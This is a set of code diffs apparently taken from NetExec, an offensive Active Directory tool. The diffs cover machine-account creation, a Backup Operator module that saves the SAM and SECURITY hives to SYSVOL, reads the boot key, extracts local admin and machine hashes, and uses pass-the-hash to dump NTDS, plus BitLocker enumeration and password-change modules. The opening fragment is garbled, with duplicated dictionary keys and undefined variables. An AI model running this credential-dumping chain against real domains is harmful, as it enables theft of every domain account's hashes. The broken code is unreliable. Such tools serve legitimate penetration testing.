self.context.log.fail(f"Error creating computer: {e}")
return None
def _do_ldap(self):
name = self.computer_name.rstrip("$")
computer_dn = f"CN={name},CN=Computers,{self.connection.baseDN}"
if self.delete:
self._ldap_delete(self.connection.ldap_connection, computer_dn)
elif self.change_pw:
self._ldap_change_password(self.connection.ldap_connection, computer_dn)
else:
self._ldap_add(self.connection.ldap_connection, computer_dn, name)
def _ldap_delete(self, ldap_conn, dn):
try:
ldap_conn.delete(dn)
self.context.log.highlight(f'Successfully deleted the "{self.computer_name}" Computer account')
self._db_remove_credential()
except LDAPSessionError as e:
if "noSuchObject" in str(e):
self.context.log.fail(f'Computer "{self.computer_name}" was not found')
elif "insufficientAccessRights" in str(e):
self.context.log.fail(f'Insufficient rights to delete "{self.computer_name}"')
else:
self.context.log.fail(f'Failed to delete "{self.computer_name}": {e}')
def _ldap_change_password(self, ldap_conn, dn):
try:
encoded_pw = f'"{self.computer_password}"'.encode("utf-16-le")
ldap_conn.modify(dn, {"unicodePwd": [(MODIFY_REPLACE, encoded_pw)]})
self.context.log.highlight(f"Successfully changed password for '{self.computer_name}'")
self._db_add_credential()
except LDAPSessionError as e:
if "noSuchObject" in str(e):
self.context.log.fail(f'Computer "{self.computer_name}" was not found')
elif "insufficientAccessRights" in str(e):
self.context.log.fail(f'Insufficient rights to change password for "{self.computer_name}"')
elif "unwillingToPerform" in str(e):
self.context.log.fail(f'Server unwilling to change password for "{self.computer_name}"')
else:
self.context.log.fail(f'Failed to change password for "{self.computer_name}": {e}')
def _ldap_add(self, ldap_conn, dn, name):
fqdn = f"{name}.{self.connection.domain}"
spns = [
f"HOST/{name}",
f"HOST/{fqdn}",
f"RestrictedKrbHost/{name}",
f"RestrictedKrbHost/{fqdn}",
]
try:
ldap_conn.add(
dn,
["top", "person", "organizationalPerson", "user", "computer"],
{
"dnsHostName": f"{name}.{self.connection.domain}",
"dnsHostName": fqdn,
"userAccountControl": 0x1000,
"servicePrincipalName": spns,
"sAMAccountName": sAMAccountName,
"unicodePwd": f'"{self.__computerPassword}"'.encode("utf-16-le")
}
"sAMAccountName": self.computer_name,
"unicodePwd": f'"{self.computer_password}"'.encode("utf-16-le"),
},
)
if result:
self.context.log.highlight(f'Successfully added the machine account: "{sAMAccountName}" with Password: "{self.__computerPassword}"')
self.context.log.highlight("You can try to verify this with the nxc command:")
self.context.log.highlight(f"nxc ldap {self.connection.host} -u {self.connection.username} -p {self.connection.password} -M group-mem -o GROUP='Domain Computers'")
elif result is False and c.last_error == "entryAlreadyExists":
self.context.log.fail(f"The Computer account '{sAMAccountName}' already exists")
elif not result:
self.context.log.fail(f"Unable to add the '{sAMAccountName}' Computer account. The error was: {c.last_error}")
c.unbind()
self.context.log.highlight(f'Successfully added "{self.computer_name}" with password "{self.computer_password}"')
self._db_add_credential()
except LDAPSessionError as e:
if "entryAlreadyExists" in str(e):
self.context.log.fail(f"Computer '{self.computer_name}' already exists")
elif "insufficientAccessRights" in str(e):
self.context.log.fail(f"Insufficient rights to add '{self.computer_name}'")
elif "unwillingToPerform" in str(e):
self.context.log.fail("Server unwilling to perform")
elif "constraintViolation" in str(e):
self.context.log.fail(f"Constraint violation for '{self.computer_name}'. Quota exceeded or password policy.")
else:
self.context.log.fail(f"Failed to add '{self.computer_name}': {e}")
+221 -54
View File
@@ -1,11 +1,12 @@
import contextlib
from time import sleep
import re
from binascii import unhexlify
from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
from impacket.smbconnection import SessionError
from impacket.dcerpc.v5 import transport, rrp
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from nxc.helpers.misc import CATEGORY
from impacket.dcerpc.v5 import rrp
from nxc.helpers.misc import CATEGORY, gen_random_string
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -17,33 +18,83 @@ class NXCModule:
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.domain_admin = None
self.domain_admin_hash = None
self.deleted_files = True # flag to check if SAM/SYSTEM/SECURITY files were deleted
self.local_admin = None
self.local_admin_hash = None
self.machine_account = None
self.machine_account_hash = None
self.cleanup_user = None
self.cleanup_hash = None
self.system_hive_saved = False
def options(self, context, module_options):
"""NO OPTIONS"""
def get_boot_key(self, context, dce):
"""
Reads the boot key LIVE from the four Lsa subkeys' class-name field over RPC,
using the already-connected `dce` this module sets up for the SAM/SECURITY
hive saves. If this succeeds, no SYSTEM hive is ever saved to SYSVOL or
downloaded at all.
Hand-ported from impacket's RemoteOperations.getBootKey() rather than calling
RemoteOperations directly, because RemoteOperations.enableRegistry() starts the
RemoteRegistry service via the Service Control Manager -- which needs admin-level
rights a plain Backup Operator doesn't have. This module already gets
RemoteRegistry running via trigger_winreg()'s named-pipe trick instead, which
works within Backup Operator's actual privileges (SeBackupPrivilege), so we reuse
that connection here.
Raises on any failure (access denied, path not allowed remotely, RPC error, etc.)
so the caller can fall back to the full SYSTEM hive save/download path.
"""
boot_key = b""
ans = rrp.hOpenLocalMachine(dce)
reg_handle = ans["phKey"]
for key in ["JD", "Skew1", "GBG", "Data"]:
context.log.debug(f"Retrieving class info for Lsa\\{key}")
ans = rrp.hBaseRegOpenKey(
dce,
reg_handle,
f"SYSTEM\\CurrentControlSet\\Control\\Lsa\\{key}",
dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK,
samDesired=rrp.KEY_READ,
)
key_handle = ans["phkResult"]
ans = rrp.hBaseRegQueryInfoKey(dce, key_handle)
class_out = ans["lpClassOut"]
if isinstance(class_out, str):
class_out = class_out.encode()
boot_key += class_out[:-1]
rrp.hBaseRegCloseKey(dce, key_handle)
rrp.hBaseRegCloseKey(dce, reg_handle)
transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]
boot_key = unhexlify(boot_key)
final_boot_key = b""
for i in range(len(boot_key)):
final_boot_key += boot_key[transforms[i]:transforms[i] + 1]
return final_boot_key
def on_login(self, context, connection):
connection.args.share = "SYSVOL"
rand_suffix = gen_random_string(8)
# enable remote registry
context.log.display("Triggering RemoteRegistry to start through named pipe...")
connection.trigger_winreg()
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
rpc.set_smb_connection(connection.conn)
if connection.kerberos:
rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
dce = rpc.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
boot_key = None
try:
dce.connect()
dce.bind(rrp.MSRPC_UUID_RRP)
for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
# Large hives can take minutes to save before the RPC call returns.
connection.conn.setTimeout(max(connection.args.smb_timeout, 60))
for hive in ["HKLM\\SAM", "HKLM\\SECURITY"]:
hRootKey, subKey = self._strip_root_key(dce, hive)
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}"
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}"
context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
try:
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ)
@@ -52,71 +103,187 @@ class NXCModule:
except Exception as e:
context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}")
return
try:
context.log.display("Attempting to retrieve boot key live from the remote registry...")
boot_key = self.get_boot_key(context, dce)
context.log.highlight("Boot key retrieved live -- skipping SYSTEM hive save/download.")
except Exception as e:
context.log.fail(f"Live boot key retrieval failed ({type(e).__name__}: {e}), falling back to full SYSTEM hive download...")
boot_key = None
if boot_key is None:
hRootKey, subKey = self._strip_root_key(dce, "HKLM\\SYSTEM")
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}"
context.log.debug("Dumping HKLM\\SYSTEM, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
try:
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ)
rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName)
context.log.highlight(f"Saved HKLM\\SYSTEM to {outputFileName}")
self.system_hive_saved = True
except Exception as e:
context.log.fail(f"Couldn't save HKLM\\SYSTEM: {e} on path {outputFileName}")
return
except (Exception, KeyboardInterrupt) as e:
context.log.fail(f"Unexpected error: {e}")
return
finally:
connection.conn.setTimeout(connection.args.smb_timeout)
with contextlib.suppress(Exception):
dce.disconnect()
# copy remote file to local
log_path = f"{connection.output_filename}."
for hive in ["SAM", "SECURITY", "SYSTEM"]:
connection.get_file_single(hive, log_path + hive)
connection.conn.setTimeout(max(connection.args.smb_timeout, 60))
hives_to_download = ["SAM", "SECURITY"]
if self.system_hive_saved:
hives_to_download.append("SYSTEM")
for hive in hives_to_download:
connection.get_file_single(f"{hive}_{rand_suffix}", log_path + hive)
connection.conn.setTimeout(connection.args.smb_timeout)
# read local file
try:
def parse_sam(secret):
context.log.highlight(secret)
if not self.domain_admin:
if not self.local_admin:
first_line = secret.strip().splitlines()[0]
fields = first_line.split(":")
self.domain_admin = fields[0]
self.domain_admin_hash = fields[3]
if len(fields) >= 4:
self.local_admin = fields[0]
self.local_admin_hash = fields[3]
local_operations = LocalOperations(log_path + "SYSTEM")
boot_key = local_operations.getBootKey()
sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret))
def parse_lsa(secret_type, secret):
context.log.highlight(secret)
if self.machine_account:
return
for line in secret.splitlines():
match = re.search(r"aad3b435b51404eeaad3b435b51404ee:([0-9a-f]{32})", line, re.IGNORECASE)
if match:
self.machine_account_hash = match.group(1)
account_name = line.split(":", 1)[0].strip().split("\\")[-1]
# "$MACHINE.ACC" has no real name -> derive it from the connection.
self.machine_account = account_name if account_name.endswith("$") else f"{connection.hostname}$"
return
if boot_key is None:
local_operations = LocalOperations(log_path + "SYSTEM")
boot_key = local_operations.getBootKey()
sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=parse_sam)
sam_hashes.dump()
sam_hashes.finish()
LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret))
LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=parse_lsa)
LSA.dumpCachedHashes()
LSA.dumpSecrets()
except Exception as e:
context.log.fail(f"Fail to dump the sam and lsa: {e!s}")
if self.domain_admin:
dump_creds = None
for username, user_hash in [(self.machine_account, self.machine_account_hash), (self.local_admin, self.local_admin_hash)]:
if self._try_dump_ntds(connection, context, username, user_hash):
dump_creds = (username, user_hash)
break
if dump_creds:
self.cleanup_user, self.cleanup_hash = self._extract_da_hash(connection.output_filename, context)
if not self.cleanup_user or not self.cleanup_hash:
self.cleanup_user, self.cleanup_hash = dump_creds
self._perform_cleanup(connection, context, self.cleanup_user, self.cleanup_hash, rand_suffix)
else:
context.log.fail("Failed to obtain suitable credentials for NTDS dump or cleanup.")
self._print_cleanup_warning(context, rand_suffix)
def _try_dump_ntds(self, connection, context, username, user_hash):
if not username or not user_hash:
return False
with contextlib.suppress(Exception):
connection.conn.logoff()
connection.create_conn_obj()
if connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash):
connection.create_conn_obj()
if connection.hash_login(connection.domain, username, user_hash):
try:
context.log.display(f"Dumping NTDS using {username}...")
connection.ntds()
return True
except Exception as e:
context.log.fail(f"Fail to dump the NTDS with {username}: {e!s}")
return False
def _perform_cleanup(self, connection, context, username, user_hash, rand_suffix):
if not username or not user_hash:
self._print_cleanup_warning(context, rand_suffix)
return
context.log.display(f"Using {username} to clean up files...")
with contextlib.suppress(Exception):
connection.conn.logoff()
connection.create_conn_obj()
if connection.hash_login(connection.domain, username, user_hash):
context.log.display(f"Cleaning dump with user {username} on domain {connection.domain}")
hives = ["SAM", "SECURITY"]
if self.system_hive_saved:
hives.append("SYSTEM")
all_deleted = True
for hive in hives:
remote_name = f"{hive}_{rand_suffix}"
try:
context.log.display("Dumping NTDS...")
connection.ntds()
except Exception as e:
context.log.fail(f"Fail to dump the NTDS: {e!s}")
connection.conn.deleteFile("SYSVOL", remote_name)
context.log.debug(f"File {remote_name} deleted successfully via SMB.")
except SessionError as e:
if "STATUS_NO_SUCH_FILE" in str(e):
context.log.debug(f"File {remote_name} already removed or not found.")
continue
if "STATUS_ACCESS_DENIED" in str(e):
context.log.debug(f"SMB deleteFile for {remote_name} got access denied. Attempting deletion via cmd execution...")
try:
connection.execute(f"del C:\\Windows\\sysvol\\sysvol\\{remote_name}")
continue
except Exception as exec_err:
context.log.debug(f"Failed to delete {remote_name} via command execution: {exec_err}")
all_deleted = False
context.log.fail(f"Fail to remove the file {remote_name}: {e!s}")
context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}")
connection.execute("del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM")
sleep(0.2)
for hive in ["SAM", "SECURITY", "SYSTEM"]:
if all_deleted:
double_check = True
for hive in hives:
remote_name = f"{hive}_{rand_suffix}"
try:
out = connection.conn.listPath("SYSVOL", hive)
if out:
self.deleted_files = False
context.log.fail(f"Fail to remove the file {hive}, path: C:\\Windows\\sysvol\\sysvol\\{hive}")
except SessionError as e:
context.log.debug(f"File {hive} successfully removed: {e}")
else:
self.deleted_files = False
else:
self.deleted_files = False
if connection.conn.listPath("SYSVOL", remote_name):
double_check = False
context.log.fail(f"File {remote_name} still exists on C:\\Windows\\sysvol\\sysvol\\{remote_name}")
except SessionError:
pass
if double_check:
context.log.display("Successfully deleted dump files !")
return
if not self.deleted_files:
context.log.display("Use the domain admin account to clean the file on the remote host")
context.log.display("netexec smb dc_ip -u user -p pass -x \"del C:\\Windows\\sysvol\\sysvol\\SECURITY && del C:\\Windows\\sysvol\\sysvol\\SAM && del C:\\Windows\\sysvol\\sysvol\\SYSTEM\"") # noqa: Q003
else:
context.log.display("Successfully deleted dump files !")
self._print_cleanup_warning(context, rand_suffix)
def _extract_da_hash(self, output_filename, context):
try:
with open(f"{output_filename}.ntds") as f:
fallback = None
for line in f:
fields = line.strip().split(":")
if len(fields) < 4 or not fields[3]:
continue
da_user = fields[0].split("\\")[-1] if "\\" in fields[0] else fields[0]
if fields[1] == "500":
return da_user, fields[3]
if fallback is None:
fallback = (da_user, fields[3])
if fallback:
return fallback
except Exception as e:
context.log.debug(f"Failed to read NTDS file for cleanup: {e}")
return None, None
def _print_cleanup_warning(self, context, rand_suffix):
paths = f"C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix}, SAM_{rand_suffix}"
if self.system_hive_saved:
paths += f", SYSTEM_{rand_suffix}"
context.log.fail(f"Files were not automatically deleted. Please clean up manually: {paths}")
def _strip_root_key(self, dce, key_name):
# Let's strip the root key
+116 -141
View File
@@ -1,141 +1,116 @@
import re
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "bitlocker"
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
supported_protocols = ["smb", "wmi"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""
USAGE:
NetExec smb <IP> -u <username> -p <password> -M bitlocker
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
"""
def on_admin_login(self, context, connection):
if context.protocol == "smb":
bitlocker_smb = BitLockerSMB(context, connection)
bitlocker_smb.check_bitlocker_status()
elif context.protocol == "wmi":
bitlocker_wmi = BitLockerWMI(context, connection)
bitlocker_wmi.check_bitlocker_status()
class BitLockerSMB:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
# PowerShell command to check BitLocker volumes status.
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
try:
# Executing the PowerShell command to get BitLocker volumes status.
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
self.context.log.fail("BitLockerVolume not found on target.")
return
# Splitting the output into lines.
lines = str(check_bitlocker_command_str_output).splitlines()
data_lines = [line for line in lines if re.match(r"\w:", line)]
for line in data_lines:
# Checking every line for starting with drive
if line[1] == ":":
parts = line.split()
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
# Checking if BitLocker is enabled.
if protection_status == "On":
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
else:
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
except Exception as e:
self.context.log.exception(f"Exception occurred: {e}")
class BitLockerWMI:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
try:
# Create a DCOM connection
dcom_conn = DCOMConnection(
self.connection.host,
self.connection.username,
self.connection.password,
self.connection.domain,
self.connection.lmhash,
self.connection.nthash,
oxidResolver=True,
doKerberos=self.connection.kerberos,
kdcHost=self.connection.kdcHost)
try:
# CoCreateInstanceEx for WMI login
i_interface = dcom_conn.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(i_interface)
# Specify the namespace for BitLocker
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
# NTLM login for WMI
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
# Set authentication level
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
# Query to get BitLocker status
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
encryptionTypeMapping = {
0: "None",
1: "AES_128_WITH_DIFFUSER",
2: "AES_256_WITH_DIFFUSER",
3: "AES_128",
4: "AES_256",
5: "HARDWARE_ENCRYPTION",
6: "XTS_AES_128",
7: "XTS_AES_256_WITH_DIFFUSER"
}
try:
while True:
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
if iWbemClassObject[0].ProtectionStatus == 1:
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
else:
if encryptionMethod == 0: # Should be 0 if disabled
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
except Exception:
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
# Release resources
iWbemLevel1Login.RemRelease()
iWbemServices.RemRelease()
dcom_conn.disconnect()
except Exception as e:
if "WBEM_E_INVALID_NAMESPACE" in str(e):
self.context.log.fail("BitLockerNamespace not found on target.")
dcom_conn.disconnect()
except Exception as e:
self.context.log.error(f"Error occurred during BitLocker check: {e}")
dcom_conn.disconnect()
import re
from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "bitlocker"
description = "Enumerating BitLocker Status on target(s) If it is enabled or disabled."
supported_protocols = ["smb", "wmi"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
"""
USAGE:
NetExec smb <IP> -u <username> -p <password> -M bitlocker
NetExec wmi <IP> -u <username> -p <password> -M bitlocker (Better option to use on real life.)
"""
def on_admin_login(self, context, connection):
if context.protocol == "smb":
bitlocker_smb = BitLockerSMB(context, connection)
bitlocker_smb.check_bitlocker_status()
elif context.protocol == "wmi":
bitlocker_wmi = BitLockerWMI(context, connection)
bitlocker_wmi.check_bitlocker_status()
class BitLockerSMB:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
# PowerShell command to check BitLocker volumes status.
check_bitlocker_command_str = 'powershell.exe "Get-BitLockerVolume | Select-Object MountPoint, EncryptionMethod, ProtectionStatus"'
try:
# Executing the PowerShell command to get BitLocker volumes status.
check_bitlocker_command_str_output = self.connection.execute(check_bitlocker_command_str, True)
if "'Get-BitLockerVolume' is not recognized" in check_bitlocker_command_str_output:
self.context.log.fail("BitLockerVolume not found on target.")
return
# Splitting the output into lines.
lines = str(check_bitlocker_command_str_output).splitlines()
data_lines = [line for line in lines if re.match(r"\w:", line)]
for line in data_lines:
# Checking every line for starting with drive
if line[1] == ":":
parts = line.split()
MountPoint, EncryptionMethod, protection_status = parts[0], parts[1], parts[2]
# Checking if BitLocker is enabled.
if protection_status == "On":
self.context.log.highlight(f"BitLocker is enabled on drive {MountPoint} (Encryption Method: {EncryptionMethod})")
else:
self.context.log.highlight(f"BitLocker is disabled on drive {MountPoint}")
except Exception as e:
self.context.log.exception(f"Exception occurred: {e}")
class BitLockerWMI:
def __init__(self, context, connection):
self.context = context
self.connection = connection
def check_bitlocker_status(self):
# Reuse the wmi protocol's authenticated IWbemLevel1Login instead of
# creating a second DCOMConnection to the same target (whose disconnect
# would clash with the protocol's own)
try:
iWbemLevel1Login = self.connection.iWbemLevel1Login
bitlockerNamespace = "root\\CIMv2\\Security\\MicrosoftVolumeEncryption"
iWbemServices = iWbemLevel1Login.NTLMLogin(bitlockerNamespace, NULL, NULL)
iWbemLevel1Login.RemRelease()
iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
classQuery = "SELECT DriveLetter, ProtectionStatus, EncryptionMethod FROM Win32_EncryptableVolume"
iEnumWbemClassObject = iWbemServices.ExecQuery(classQuery)
encryptionTypeMapping = {
0: "None",
1: "AES_128_WITH_DIFFUSER",
2: "AES_256_WITH_DIFFUSER",
3: "AES_128",
4: "AES_256",
5: "HARDWARE_ENCRYPTION",
6: "XTS_AES_128",
7: "XTS_AES_256_WITH_DIFFUSER"
}
try:
while True:
iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff, 1)
encryptionMethod = int(iWbemClassObject[0].EncryptionMethod)
if iWbemClassObject[0].ProtectionStatus == 1:
self.context.log.highlight(f"BitLocker is enabled on drive {iWbemClassObject[0].DriveLetter} (Encryption Method: {encryptionTypeMapping.get(encryptionMethod, 'Unknown')})")
else:
if encryptionMethod == 0: # Should be 0 if disabled
self.context.log.highlight(f"BitLocker is disabled on drive {iWbemClassObject[0].DriveLetter}")
except Exception:
pass # Using pass because if try to log or printing, getting "WMI Session Error: code: 0x1 - WBEM_S_FALSE"
iWbemServices.RemRelease()
except Exception as e:
if "WBEM_E_INVALID_NAMESPACE" in str(e):
self.context.log.fail("BitLockerNamespace not found on target.")
else:
self.context.log.exception(f"Exception occurred: {e}")
+11 -6
View File
@@ -2,12 +2,14 @@
import json
import socket
from os import makedirs
from os.path import join
from certipy.commands.find import Find
from certipy.lib.target import Target, DnsResolver
from certipy.lib.formatting import pretty_print
from datetime import datetime
from nxc.helpers.misc import CATEGORY
from nxc.helpers.path import sanitize_path_component
from nxc.paths import NXC_PATH
@@ -34,7 +36,7 @@ class NXCModule:
"""
self.vuln = True
self.enabled = False
self.output_path = f"{NXC_PATH}/modules/certipy-find"
self.output_path = join(NXC_PATH, "modules", "certipy-find")
self.json = False
self.csv = False
self.text = False
@@ -75,9 +77,12 @@ class NXCModule:
username=connection.username,
password=connection.password,
remote_name=connection.remoteName,
hashes=f"{connection.lmhash}:{connection.nthash}",
lmhash=connection.lmhash,
nthash=connection.nthash,
do_kerberos=connection.kerberos,
aes=connection.aesKey,
dc_ip=connection.kdcHost,
target_ip=connection.host,
ldap_port=connection.port,
ldap_scheme="ldaps" if connection.port == 636 else "ldap",
@@ -116,9 +121,9 @@ class NXCModule:
if self.json or self.csv or self.text:
makedirs(self.output_path, exist_ok=True)
filename = f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
filename = sanitize_path_component(f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=220)
if self.json:
with open(f"{self.output_path}/{filename}.json", "w") as f:
with open(join(self.output_path, f"{filename}.json"), "w") as f:
json.dump(
output,
f,
@@ -128,10 +133,10 @@ class NXCModule:
if self.csv:
template_output = finder.get_template_output_for_csv(output)
ca_output = finder.get_ca_output_for_csv(output)
with open(f"{self.output_path}/{filename}-templates.csv", "w") as f:
with open(join(self.output_path, f"{filename}-templates.csv"), "w") as f:
f.write(template_output)
with open(f"{self.output_path}/{filename}-cas.csv", "w") as f:
with open(join(self.output_path, f"{filename}-cas.csv"), "w") as f:
f.write(ca_output)
if self.text:
with open(f"{self.output_path}/{filename}.txt", "w") as f:
with open(join(self.output_path, f"{filename}.txt"), "w") as f:
pretty_print(output, print_func=lambda x: f.write(x + "\n"))
+27 -37
View File
@@ -1,7 +1,8 @@
import sys
from impacket.dcerpc.v5 import samr, epm, transport
from impacket.dcerpc.v5 import samr, epm
from impacket.dcerpc.v5.rpcrt import DCERPCException
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -26,7 +27,7 @@ class NXCModule:
Examples
--------
If STATUS_PASSWORD_MUST_CHANGE or STATUS_PASSWORD_EXPIRED (Change password for current user)
If STATUS_PASSWORD_MUST_CHANGE, STATUS_PASSWORD_EXPIRED or STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT (Change password for current user)
netexec smb <DC_IP> -u username -p oldpass -M change-password -o NEWNTHASH='nthash'
netexec smb <DC_IP> -u username -H oldnthash -M change-password -o NEWPASS='newpass'
@@ -45,31 +46,21 @@ class NXCModule:
def authenticate(self, context, connection, protocol, anonymous=False):
# Authenticate to the target using DCE/RPC with either user credentials or a null session. Establishes a connection and binds to the SAMR service.
try:
# Map to the SAMR endpoint on the target
string_binding = epm.hept_map(connection.host, samr.MSRPC_UUID_SAMR, protocol=protocol)
rpctransport = transport.DCERPCTransportFactory(string_binding)
rpctransport.setRemoteHost(connection.host)
if anonymous:
rpctransport.set_credentials("", "", "", "", "", "")
rpctransport.set_kerberos(False, None)
string_binding = epm.hept_map(connection.host, samr.MSRPC_UUID_SAMR, protocol=protocol)
dce = NXCRPCConnection(connection).connect(
None,
samr.MSRPC_UUID_SAMR,
string_binding=string_binding,
set_remote_host=connection.host,
anonymous_rpc=True,
)
context.log.info("Connecting with null session credentials.")
else:
rpctransport.set_credentials(
connection.username,
connection.password,
connection.domain,
connection.lmhash,
connection.nthash,
aesKey=connection.aesKey,
)
dce = NXCRPCConnection(connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
context.log.info(f"Connecting as {connection.domain}\\{connection.username}")
# Connect to the DCE/RPC endpoint and bind to the SAMR service
dce = rpctransport.get_dce_rpc()
dce.connect()
context.log.info("[+] Successfully connected to DCE/RPC")
dce.bind(samr.MSRPC_UUID_SAMR)
context.log.info("[+] Successfully bound to SAMR")
return dce
except DCERPCException as e:
@@ -95,14 +86,12 @@ class NXCModule:
new_nthash = self.newhash
try:
self.anonymous = False
self.dce = self.authenticate(context, connection, protocol="ncacn_np", anonymous=self.anonymous)
self.dce = self.authenticate(context, connection, protocol="ncacn_np", anonymous=False)
except Exception as e:
# Handle specific errors like password expiration or must be change
if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e):
if "STATUS_PASSWORD_MUST_CHANGE" in str(e) or "STATUS_PASSWORD_EXPIRED" in str(e) or "STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT" in str(e) or "STATUS_USER_SESSION_DELETED" in str(e):
context.log.warning("Password must be changed. Trying with null session.")
self.anonymous = True
self.dce = self.authenticate(context, connection, protocol="ncacn_ip_tcp", anonymous=self.anonymous)
self.dce = self.authenticate(context, connection, protocol="ncacn_ip_tcp", anonymous=True)
elif "STATUS_LOGON_FAILURE" in str(e):
context.log.fail("Authentication failure: wrong credentials.")
return False
@@ -124,7 +113,12 @@ class NXCModule:
else:
self.context.db.add_credential("plaintext", target_domain, target_username, self.newpass)
except Exception as e:
context.log.fail(f"SMB-SAMR password change failed: {e}")
if "STATUS_ACCESS_DENIED" in str(e):
self.context.log.fail(f"STATUS_ACCESS_DENIED while changing password for user: {target_username}")
elif "STATUS_NONE_MAPPED" in str(e):
self.context.log.fail(f"User '{target_username}' not found or not resolvable")
else:
context.log.fail(f"SMB-SAMR password change failed: {e}")
finally:
self.dce.disconnect()
@@ -147,13 +141,9 @@ class NXCModule:
context.log.success(f"Successfully changed password for {target_username}")
def _hSamrOpenUser(self, connection, username):
"""Get handle to the user object"""
try:
# Connect to the target server and retrieve handles
server_handle = samr.hSamrConnect(self.dce, connection.host + "\x00")["ServerHandle"]
